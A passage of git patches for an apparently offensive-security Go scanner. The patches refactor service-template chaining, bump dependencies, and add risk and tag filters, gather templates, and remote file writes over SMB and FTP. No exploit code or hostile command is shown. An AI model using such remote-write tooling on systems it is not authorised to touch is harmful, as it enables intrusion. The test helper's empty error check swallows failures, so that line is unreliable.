= v } - a.executeTemplate(tmpl, session, host, nil, result, executed) - } - - return result, nil -} - -func (a *ServiceAction) executeTemplate(tmpl *service.Template, session pkg.Session, host string, extraVars map[string]interface{}, result *pkg.ActionResult, executed map[string]bool) { - if executed[tmpl.Id] { - return - } - if !tmpl.Match(session.Service()) { - return - } - executed[tmpl.Id] = true - - vars := copyVars(a.vars) - for k, v := range extraVars { - vars[k] = v - } - - opResult, err := tmpl.ExecuteWithOptions(session, host, vars, a.payloads) - if err != nil { - logs.Log.Debugf("[service] template %s failed on %s: %v", tmpl.Id, host, err) - return - } - if opResult == nil { - return - } - // collect extractions into result - if opResult.Matched || opResult.Extracted { - for name, extracts := range opResult.Extracts { - result.Extracteds = append(result.Extracteds, &parsers.Extracted{ - Name: fmt.Sprintf("%s:%s", tmpl.Id, name), - ExtractResult: extracts, - }) + opResult, err := tmpl.ExecuteWithOptions(session, host, mergedVars, a.payloads) + if err != nil { + logs.Log.Debugf("[service] template %s failed on %s: %v", id, host, err) + return nil } - for _, output := range opResult.OutputExtracts { - result.Extracteds = append(result.Extracteds, &parsers.Extracted{ - Name: tmpl.Id, - ExtractResult: []string{output}, - }) + if opResult == nil { + return nil } - } - // execute chains — pass dynamic values from this template's result - if len(tmpl.Chains) > 0 { - chainVars := copyVars(vars) + if opResult.Matched || opResult.Extracted { + for name, extracts := range opResult.Extracts { + result.Extracteds = append(result.Extracteds, &parsers.Extracted{ + Name: fmt.Sprintf("%s:%s", id, name), + ExtractResult: extracts, + }) + } + for _, output := range opResult.OutputExtracts { + result.Extracteds = append(result.Extracteds, &parsers.Extracted{ + Name: id, + ExtractResult: []string{output}, + }) + } + } + + chainVars := copyVars(mergedVars) for k, v := range opResult.DynamicValues { if len(v) > 0 { chainVars[k] = v[0] @@ -126,16 +107,10 @@ func (a *ServiceAction) executeTemplate(tmpl *service.Template, session pkg.Sess chainVars[k] = v[0] } } + return &templates.ChainResult{Vars: chainVars} + }) - for _, chainID := range tmpl.Chains { - target, ok := a.index[chainID] - if !ok { - logs.Log.Debugf("[service] chain target %q not found (from %s)", chainID, tmpl.Id) - continue - } - a.executeTemplate(target, session, host, chainVars, result, executed) - } - } + return result, nil } func copyVars(src map[string]interface{}) map[string]interface{} { diff --git a/go.mod b/go.mod index ae3b46f..e04aaab 100644 --- a/go.mod +++ b/go.mod @@ -38,7 +38,7 @@ require ( require ( github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 // indirect - github.com/Knetic/govaluate v3.0.0+incompatible // indirect + github.com/Knetic/govaluate v3.0.1-0.20171022003610-9aa49832a739+incompatible // indirect github.com/VividCortex/ewma v1.2.0 // indirect github.com/acarl005/stripansi v0.0.0-20180116102854-5a71ef0e047d // indirect github.com/charlievieth/fastwalk v1.0.14 // indirect @@ -86,7 +86,6 @@ require ( github.com/golang/snappy v0.0.4 // indirect github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5 - github.com/kr/pretty v0.3.1 // indirect github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 github.com/onsi/ginkgo v1.16.5 // indirect github.com/onsi/gomega v1.19.0 // indirect diff --git a/go.sum b/go.sum index 971c4ee..c693080 100644 --- a/go.sum +++ b/go.sum @@ -52,8 +52,8 @@ github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03 github.com/BurntSushi/toml v0.4.1/go.mod h1:CxXYINrC8qIiEnFrOxCa7Jy5BFHlXnUU2pbicEuybxQ= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= github.com/DataDog/datadog-go v3.2.0+incompatible/go.mod h1:LButxg5PwREeZtORoXG3tL4fMGNddJ+vMq1mwgfaqoQ= -github.com/Knetic/govaluate v3.0.0+incompatible h1:7o6+MAPhYTCF0+fdvoz1xDedhRb4f6s9Tn1Tt7/WTEg= -github.com/Knetic/govaluate v3.0.0+incompatible/go.mod h1:r7JcOSlj0wfOMncg0iLm8Leh48TZaKVeNIfJntJ2wa0= +github.com/Knetic/govaluate v3.0.1-0.20171022003610-9aa49832a739+incompatible h1:1G1pk05UrOh0NlF1oeaaix1x8XzrfjIDK47TY0Zehcw= +github.com/Knetic/govaluate v3.0.1-0.20171022003610-9aa49832a739+incompatible/go.mod h1:r7JcOSlj0wfOMncg0iLm8Leh48TZaKVeNIfJntJ2wa0= github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= github.com/VividCortex/ewma v1.2.0 h1:f58SaIzcDXrSy3kWaHNvuJgJ3Nmz59Zji6XoJR/q1ow= github.com/VividCortex/ewma v1.2.0/go.mod h1:nz4BbCtbLyFDeC9SUHbtcT5644juEuWfUAUnGx7j5l4= @@ -72,14 +72,12 @@ github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmV github.com/armon/go-metrics v0.3.10/go.mod h1:4O98XIr/9W0sxpJ8UaYkvjk10Iff7SnFrb4QAOwNTFc= github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= github.com/armon/go-radix v1.0.0/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= -github.com/bahlo/generic-list-go v0.2.0/go.mod h1:2KvAjgMlE5NNynlg/5iLrrCCZ2+5xWbdbCW3pNTGyYg= github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= github.com/bradfitz/gomemcache v0.0.0-20230905024940-24af94b03874 h1:N7oVaKyGp8bttX0bfZGmcGkjz7DLQXhAn3DNd3T0ous= github.com/bradfitz/gomemcache v0.0.0-20230905024940-24af94b03874/go.mod h1:r5xuitiExdLAJ09PR7vBVENGvp4ZuTBeWTGtxuX3K+c= -github.com/buger/jsonparser v1.1.1/go.mod h1:6RYKKt7H4d4+iWqouImQ9R2FZql3VbhNgx27UK13J/0= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/census-instrumentation/opencensus-proto v0.3.0/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= @@ -89,8 +87,6 @@ github.com/chainreactors/fingers v1.2.1 h1:fIBejnL7m1AMgn/8B/jL/yGUDnm/l2l8iaGIf github.com/chainreactors/fingers v1.2.1/go.mod h1:HL+9nwb5HNXJMboiQ7Kwy00ZSTXYTAuWw9IrYIoARH8= github.com/chainreactors/logs v0.0.0-20260508055944-c678762ed15c h1:6Net2Mgo/qo6ADFBZJWWScKuMfZ0rbzLqSCVDuLKFdc= github.com/chainreactors/logs v0.0.0-20260508055944-c678762ed15c/go.mod h1:VrXmYPbNN5AVoo1sc5aeyPVBYqubMdb3KO/tn5rRZpo= -github.com/chainreactors/neutron v0.0.0-20260608084636-c81691731908 h1:dNJtRF4KtcgFwKjVJDDKUHPCsWJo2OthMlzNxYfp3Uk= -github.com/chainreactors/neutron v0.0.0-20260608084636-c81691731908/go.mod h1:TqJ3kRBB/PPq6O+e0lY/NPHhpM5beFNPG8OilSlmx+o= github.com/chainreactors/parsers v0.0.0-20260608085142-3d2c51baa8fe h1:n1pFLHHYXMiX5rCVWeciOTJUFggWXOrLtCu9jhq5Mbs= github.com/chainreactors/parsers v0.0.0-20260608085142-3d2c51baa8fe/go.mod h1:ygxMqZQ/hGY2uegUvC0LbR538hbgNH7HP4dTuv/jfSM= github.com/chainreactors/proton v0.3.0 h1:n6K6ydI4bSpJ0zA5yMahsg5RomyGYGvpW+r9vbjlaeQ= @@ -325,12 +321,10 @@ github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1: github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5 h1:ZcsPFW8UgACapqjcrBJx0PuyT4ppArO5VFn0vgnkvmc= github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5/go.mod h1:VJNHW2GxCtQP/IQtXykBIPBV8maPJ/dHWirVTwm9GwY= github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= -github.com/invopop/jsonschema v0.13.0/go.mod h1:ffZ5Km5SWWRAIN6wbDXItl95euhFz2uON45H2qjYt+0= github.com/jessevdk/go-flags v1.6.1 h1:Cvu5U8UGrLay1rZfv/zP7iLpSHGUZ/Ou68T0iX1bBK4= github.com/jessevdk/go-flags v1.6.1/go.mod h1:Mk8T1hIAWpOiJiHa9rJASDK2UGWji0EuPGBnNLMooyc= github.com/jlaffaye/ftp v0.0.0-20201112195030-9aae4d151126 h1:ly2C51IMpCCV8RpTDRXgzG/L9iZXb8ePEixaew/HwBs= github.com/jlaffaye/ftp v0.0.0-20201112195030-9aae4d151126/go.mod h1:2lmrmq866uF2tnje75wQHzmPXhmSWUt7Gyx2vgK1RCU= -github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y= github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= @@ -351,6 +345,7 @@ github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= +github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= @@ -363,7 +358,6 @@ github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 h1:EnfXoSqDfSNJv0 github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40/go.mod h1:vy1vK6wD6j7xX6O6hXe621WabdtNkou2h7uRtTfRMyg= github.com/lyft/protoc-gen-star v0.5.3/go.mod h1:V0xaHgaf5oCCqmcxYcWiDfTiKsZsRc87/1qhoTACD8w= github.com/magiconair/properties v1.8.5/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60= -github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc= github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= @@ -448,8 +442,9 @@ github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ= github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ= github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFRclV5y23lUDJ4= -github.com/rogpeppe/go-internal v1.9.0 h1:73kH8U+JUqXU8lRuOHeVHaa/SZPifC7BkcraZVejAe8= github.com/rogpeppe/go-internal v1.9.0/go.mod h1:WtVeX8xhTBvf0smdhujwtBcq4Qrzq/fJaraNFVN+nFs= +github.com/rogpeppe/go-internal v1.11.0 h1:cWPaGQEPrBb5/AsnsZesgZZ9yb1OQ+GOISoDNXVBh4M= +github.com/rogpeppe/go-internal v1.11.0/go.mod h1:ddIwULY96R17DhadqLgMfk9H9tvdUzkipdSkR5nkCZA= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts= github.com/sagikazarmark/crypt v0.3.0/go.mod h1:uD/D+6UF4SrIR1uGEv7bBNkNqLGqUr43MRiaGWX1Nig= @@ -486,7 +481,6 @@ github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/ github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= -github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= @@ -506,7 +500,6 @@ github.com/wasilibs/go-re2 v1.10.0 h1:vQZEBYZOCA9jdBMmrO4+CvqyCj0x4OomXTJ4a5/urQ github.com/wasilibs/go-re2 v1.10.0/go.mod h1:k+5XqO2bCJS+QpGOnqugyfwC04nw0jaglmjrrkG8U6o= github.com/wasilibs/wazero-helpers v0.0.0-20240620070341-3dff1577cd52 h1:OvLBa8SqJnZ6P+mjlzc2K7PM22rRUPE1x32G9DTPrC4= github.com/wasilibs/wazero-helpers v0.0.0-20240620070341-3dff1577cd52/go.mod h1:jMeV4Vpbi8osrE/pKUxRZkVaA0EX7NZN0A9/oRzgpgY= -github.com/wk8/go-ordered-map/v2 v2.1.8/go.mod h1:5nJHM5DyteebpVlHnWMV0rPz6Zp7+xBAnxjb1X5vnTw= github.com/xdg-go/pbkdf2 v1.0.0 h1:Su7DPu48wXMwC3bs7MCNG+z4FhcyEuz5dlvchbq0B0c= github.com/xdg-go/pbkdf2 v1.0.0/go.mod h1:jrpuAogTd400dnrH08LKmI/xc1MbPOebTwRqcT5RDeI= github.com/xdg-go/scram v1.1.2 h1:FHX5I5B4i4hKRVRBCFRxq1iQRej7WO3hhBuJf+UUySY= @@ -583,6 +576,7 @@ golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= golang.org/x/mod v0.5.0/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/mod v0.9.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -954,8 +948,9 @@ google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQ gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 h1:YR8cESwS4TdDjEe65xsg0ogRM/Nc3DYOhEAlW+xobZo= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= gopkg.in/ini.v1 v1.66.2/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= From 3f040c365308c8c58374f360f476bc7de7e77788 Mon Sep 17 00:00:00 2001 From: M09Ic Date: Wed, 24 Jun 2026 11:10:08 -0700 Subject: [PATCH 09/18] chore: bump neutron to 6264ae4 (ChainExecutor) Co-Authored-By: Claude Opus 4.6 (1M context) --- go.mod | 2 +- go.sum | 7 +++++++ 2 files changed, 8 insertions(+), 1 deletion(-) diff --git a/go.mod b/go.mod index e04aaab..fcc2d7c 100644 --- a/go.mod +++ b/go.mod @@ -8,7 +8,7 @@ require ( github.com/bradfitz/gomemcache v0.0.0-20230905024940-24af94b03874 github.com/chainreactors/fingers v1.2.1 github.com/chainreactors/logs v0.0.0-20260508055944-c678762ed15c - github.com/chainreactors/neutron v0.0.0-20260608084636-c81691731908 + github.com/chainreactors/neutron v0.0.0-20260624180655-6264ae4da3f9 github.com/chainreactors/parsers v0.0.0-20260608085142-3d2c51baa8fe github.com/chainreactors/proton v0.3.0 github.com/chainreactors/utils v0.0.0-20260529172343-6465cb8568b2 diff --git a/go.sum b/go.sum index c693080..d11e284 100644 --- a/go.sum +++ b/go.sum @@ -72,12 +72,14 @@ github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmV github.com/armon/go-metrics v0.3.10/go.mod h1:4O98XIr/9W0sxpJ8UaYkvjk10Iff7SnFrb4QAOwNTFc= github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= github.com/armon/go-radix v1.0.0/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= +github.com/bahlo/generic-list-go v0.2.0/go.mod h1:2KvAjgMlE5NNynlg/5iLrrCCZ2+5xWbdbCW3pNTGyYg= github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= github.com/bradfitz/gomemcache v0.0.0-20230905024940-24af94b03874 h1:N7oVaKyGp8bttX0bfZGmcGkjz7DLQXhAn3DNd3T0ous= github.com/bradfitz/gomemcache v0.0.0-20230905024940-24af94b03874/go.mod h1:r5xuitiExdLAJ09PR7vBVENGvp4ZuTBeWTGtxuX3K+c= +github.com/buger/jsonparser v1.1.1/go.mod h1:6RYKKt7H4d4+iWqouImQ9R2FZql3VbhNgx27UK13J/0= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/census-instrumentation/opencensus-proto v0.3.0/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= @@ -87,6 +89,8 @@ github.com/chainreactors/fingers v1.2.1 h1:fIBejnL7m1AMgn/8B/jL/yGUDnm/l2l8iaGIf github.com/chainreactors/fingers v1.2.1/go.mod h1:HL+9nwb5HNXJMboiQ7Kwy00ZSTXYTAuWw9IrYIoARH8= github.com/chainreactors/logs v0.0.0-20260508055944-c678762ed15c h1:6Net2Mgo/qo6ADFBZJWWScKuMfZ0rbzLqSCVDuLKFdc= github.com/chainreactors/logs v0.0.0-20260508055944-c678762ed15c/go.mod h1:VrXmYPbNN5AVoo1sc5aeyPVBYqubMdb3KO/tn5rRZpo= +github.com/chainreactors/neutron v0.0.0-20260624180655-6264ae4da3f9 h1:YdUK6OnGqOpkf+SyBNqnkNxQ13Pah63V4svrD8ZTd4o= +github.com/chainreactors/neutron v0.0.0-20260624180655-6264ae4da3f9/go.mod h1:Db5C6Ao3a4ZF91ZKRPEsbwQP7ig96v+o/7vKsbb9ixo= github.com/chainreactors/parsers v0.0.0-20260608085142-3d2c51baa8fe h1:n1pFLHHYXMiX5rCVWeciOTJUFggWXOrLtCu9jhq5Mbs= github.com/chainreactors/parsers v0.0.0-20260608085142-3d2c51baa8fe/go.mod h1:ygxMqZQ/hGY2uegUvC0LbR538hbgNH7HP4dTuv/jfSM= github.com/chainreactors/proton v0.3.0 h1:n6K6ydI4bSpJ0zA5yMahsg5RomyGYGvpW+r9vbjlaeQ= @@ -321,6 +325,7 @@ github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1: github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5 h1:ZcsPFW8UgACapqjcrBJx0PuyT4ppArO5VFn0vgnkvmc= github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5/go.mod h1:VJNHW2GxCtQP/IQtXykBIPBV8maPJ/dHWirVTwm9GwY= github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= +github.com/invopop/jsonschema v0.13.0/go.mod h1:ffZ5Km5SWWRAIN6wbDXItl95euhFz2uON45H2qjYt+0= github.com/jessevdk/go-flags v1.6.1 h1:Cvu5U8UGrLay1rZfv/zP7iLpSHGUZ/Ou68T0iX1bBK4= github.com/jessevdk/go-flags v1.6.1/go.mod h1:Mk8T1hIAWpOiJiHa9rJASDK2UGWji0EuPGBnNLMooyc= github.com/jlaffaye/ftp v0.0.0-20201112195030-9aae4d151126 h1:ly2C51IMpCCV8RpTDRXgzG/L9iZXb8ePEixaew/HwBs= @@ -358,6 +363,7 @@ github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40 h1:EnfXoSqDfSNJv0 github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40/go.mod h1:vy1vK6wD6j7xX6O6hXe621WabdtNkou2h7uRtTfRMyg= github.com/lyft/protoc-gen-star v0.5.3/go.mod h1:V0xaHgaf5oCCqmcxYcWiDfTiKsZsRc87/1qhoTACD8w= github.com/magiconair/properties v1.8.5/go.mod h1:y3VJvCyxH9uVvJTWEGAELF3aiYNyPKd5NZ3oSwXrF60= +github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc= github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= @@ -500,6 +506,7 @@ github.com/wasilibs/go-re2 v1.10.0 h1:vQZEBYZOCA9jdBMmrO4+CvqyCj0x4OomXTJ4a5/urQ github.com/wasilibs/go-re2 v1.10.0/go.mod h1:k+5XqO2bCJS+QpGOnqugyfwC04nw0jaglmjrrkG8U6o= github.com/wasilibs/wazero-helpers v0.0.0-20240620070341-3dff1577cd52 h1:OvLBa8SqJnZ6P+mjlzc2K7PM22rRUPE1x32G9DTPrC4= github.com/wasilibs/wazero-helpers v0.0.0-20240620070341-3dff1577cd52/go.mod h1:jMeV4Vpbi8osrE/pKUxRZkVaA0EX7NZN0A9/oRzgpgY= +github.com/wk8/go-ordered-map/v2 v2.1.8/go.mod h1:5nJHM5DyteebpVlHnWMV0rPz6Zp7+xBAnxjb1X5vnTw= github.com/xdg-go/pbkdf2 v1.0.0 h1:Su7DPu48wXMwC3bs7MCNG+z4FhcyEuz5dlvchbq0B0c= github.com/xdg-go/pbkdf2 v1.0.0/go.mod h1:jrpuAogTd400dnrH08LKmI/xc1MbPOebTwRqcT5RDeI= github.com/xdg-go/scram v1.1.2 h1:FHX5I5B4i4hKRVRBCFRxq1iQRej7WO3hhBuJf+UUySY= From d781ca8539fe6b084e45f055a5232d9808f5c210 Mon Sep 17 00:00:00 2001 From: M09Ic Date: Fri, 26 Jun 2026 09:27:48 -0700 Subject: [PATCH 10/18] =?UTF-8?q?feat:=20service=20template=20enhancements?= =?UTF-8?q?=20=E2=80=94=20neutron=20HTTP/Network,=20risk/tags=20filter,=20?= =?UTF-8?q?FileSession.Write,=20gather=20embedding?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Template supports neutron HTTP and Network request types alongside service ops - Info struct with Risk field (safe/dangerous/critical) for template filtering - HasTag/RiskAllowed methods for runtime template selection - FileSession.Write interface + SMB/FTP implementations - FileOp Write/Data support in service execute - --gather flag loads embedded service templates (tag=gather) - --risk and --tags CLI filters for ServiceAction - LoadServiceTemplatesFromData/FromPaths for embedded + path-based loading - templates submodule updated with 70+ service templates Co-Authored-By: Claude Opus 4.6 (1M context) --- action/action_test.go | 38 +++++----- action/service.go | 81 ++++++++++++++++++---- core/options.go | 6 ++ core/runner.go | 27 +++++++- core/runner_option.go | 3 + pkg/loader.go | 14 ++-- pkg/resource_provider.go | 3 + pkg/session.go | 1 + plugin/ftp/ftp.go | 5 ++ plugin/smb/smb.go | 13 ++++ service/execute.go | 9 ++- service/service.go | 6 +- service/template.go | 145 +++++++++++++++++++++++++++------------ templates | 2 +- 14 files changed, 269 insertions(+), 84 deletions(-) diff --git a/action/action_test.go b/action/action_test.go index 61a8a2b..e8361fe 100644 --- a/action/action_test.go +++ b/action/action_test.go @@ -80,6 +80,7 @@ func (m *mockFileSession) Read(path string) ([]byte, error) { } return nil, fmt.Errorf("not found") } +func (m *mockFileSession) Write(path string, data []byte) error { return nil } func containsSubstr(s, sub string) bool { for i := 0; i <= len(s)-len(sub); i++ { @@ -90,6 +91,18 @@ func containsSubstr(s, sub string) bool { return false } +func loadAndCreateServiceAction(t *testing.T, dir string) *ServiceAction { + t.Helper() + tmpls, err := LoadServiceTemplatesFromPaths([]string{dir}) + if err != nil { + t.Fatalf("load templates: %v", err) + } + a, err := NewServiceAction(tmpls, nil) + if err != nil { + } + return a +} + func mockTask() *pkg.Task { return &pkg.Task{ ZombieResult: &parsers.ZombieResult{ @@ -338,10 +351,7 @@ services: t.Fatalf("write child template: %v", err) } - a, err := NewServiceAction([]string{dir}, nil) 